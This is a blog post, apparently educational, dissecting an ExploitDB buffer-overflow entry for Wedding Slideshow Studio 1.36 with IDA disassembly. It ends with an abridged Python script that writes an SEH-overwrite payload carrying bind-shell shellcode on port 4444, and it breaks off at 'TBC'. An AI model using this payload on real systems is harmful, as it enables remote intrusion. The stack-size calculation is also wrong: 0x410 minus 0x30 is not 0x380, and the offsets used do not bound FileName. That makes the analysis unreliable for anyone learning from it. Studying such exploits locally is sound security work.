Overflowing Some Buffers
Posted on th, by Blas
Buffer Overflow
Yes, another random persons blog about buffer overflows. BUT…there’s something you can always take away from someone! In this post I dive into Exploit DB and visit a piece of “real world” software that was compromised, explain what went wrong, and study how the exploit presented works. Stick with me if you like, if not feel free to take a gander at my other posts :)
Background
Do you want to get better at pwning? I sure do! How can we do this? Well, you can obviously go the CTF route, but that’s competitive and might require you drink a few coffees while listening to lofi hip hop trying to yank an all-nighter to maybe place top 50 if your team cares enough to help out. Another way to go about learning how to be better at pwning is to just go for it in the real world! Now you can’t just go around hacking software without the developers permissions since that’s very illegal, but you can definitely try out local exploits in theoretical scenarios and theoretically see how a program could be vulnerable to certain exploits.
Say you’re not necessarily the most well-versed in writing vulnerable code though. This is where ExploitDB comes in! “Exploit Database ExploitDB is an archive of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks.”
The Sample
We can scan through ExploitDB to see if there is an interesting sample we can look at. I want to sharpen my skills with spotting Buffer Overflows since recognizing code smells in real-world code could be slightly more difficult than recognizing them in code that was specifically meant to be broken. (Not bashing on CTFs, just further explaining the benefits of this alternative approach)
Scrolling through Exploit DB led me to Wedding Slideshow Studio 1.36 - Buffer Overflow. This exploit is from 2018 and targets software written by a company whos website was last updated in 2019…PERFECT.
The Vulnerability
The page linked above states that in order to reproduce the exploit we need to copy the contents of the file Evil.txt and paste it in the License Name field. Once done, we click Register and the sample exploit should be performed.
So why exactly does this happen? Well, the page kindly links us to the vulnerable software so we can visit the link and open it up in a disassembler. My preferred disassembler is IDA since even the free version contains pseudocode now which is not bad for when you’re starting out. Despite this, it is always STRONGLY recommended you start purely with disassembly since there are time pseudocode can be off. For the sake of this blog, we’ll stick to disassembly.
Before proceeding, the first thing one would typically do is download the sample, generate Evil.txt, and see if the exploit works in the first place. However, in this case we can just verify this with dynamic analysis and make our lives unnecessarily more difficult for the sake of learning!
The first step is to install the software in a VM since the link is to the installer. After this, you can load the sample up on IDA and look for the string of interest License Name. We can do this by pressing Shift + F12 to open the Strings subview. We can then press Ctl + f to search for the string. Fortunately for us, there is an exact match! We can double-click on the string and hit Ctl + x to find cross-references. We see here what are the two cross-references to what may be the vulnerable code:
XREF:
sub_4D5940+CF↑o
sub_4D5BA0+118↑o
At a quick glance, the first cross-reference contains our string followed by writeprivateprofilestring and our second cross-reference contains our string followed by GetPrivateProfileString. We can start with the first one since it seems like the exploit may be triggered after a write rather than a read.
The disassembly of the first code is below:
.text:004D59FF add esp, 0Ch
.text:004D5A02 lea ecx, [esp+428h+FileName]
.text:004D5A06 lea edx, [esp+428h+AppName]
.text:004D5A0D push ecx ; lpFileName
.text:004D5A0E push ebp ; lpString
.text:004D5A0F push offset aLicensename ; "LicenseName"
.text:004D5A14 push edx ; lpAppName
.text:004D5A15 call edi ; WritePrivateProfileStringA
Here we see that call to WritePrivateProfileStringA. This functions purpose is to copy the string to the initialization file. The initialization file is the FileName we see above, and it would appear that the string is what we pass through from the exploit. One thing to note is that the string is null terminated, therefore it would appear to only be limited by what size we decide to set it. Additionally, if we scroll up further in the code we see this
.text:004D5940 FileName = byte ptr -410h
.text:004D5940 SubKey = byte ptr -30Ch
We can obtain the size of FileName by subtracting 0x30 from 0x410, which yields 0x380, or 896 in decimal.
The Exploit
Here is an abridged version of the exploit:
#!/usr/bin/env python
file = open("Evil.txt","wb")
junk = "\x41" * 512
nseh = "\x90\x90\xeb\x06" #jmp short 6
seh = "\x91\x54\x01\x10" #pop pop retn DVDPhotoData.dll
nops = "\x90" * 20
#Bind shellcode port 4444
buf = ""
buf += "\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
#...
buf += "\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
buf += "\xc8\x28\x1b\xd5\x3f\x51"
exploit = junk + nseh + seh + nops + buf
file.write(exploit)
file.close()
TBC